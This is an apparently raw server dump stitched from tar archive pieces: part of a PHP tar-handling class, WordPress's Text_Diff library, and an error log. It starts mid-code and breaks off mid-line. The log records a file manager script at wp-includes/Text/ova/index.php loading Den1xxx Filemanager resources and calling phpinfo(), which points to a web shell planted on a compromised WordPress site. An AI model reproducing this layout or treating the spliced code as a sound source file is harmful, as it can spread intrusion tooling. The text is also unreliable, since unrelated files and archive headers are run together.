== '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } Diff.php.tar000064400000035000150550174560006720 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/Text/Diff.php000064400000031107150550165720017451 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } error_log000064400000061734150550174640006503 0ustar00[29-Aug-2025 22:53:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 22:53:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 07:45:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:45:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:50:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:51:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 596 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 597 [30-Aug-2025 09:54:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 09:55:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:29:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:31:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in 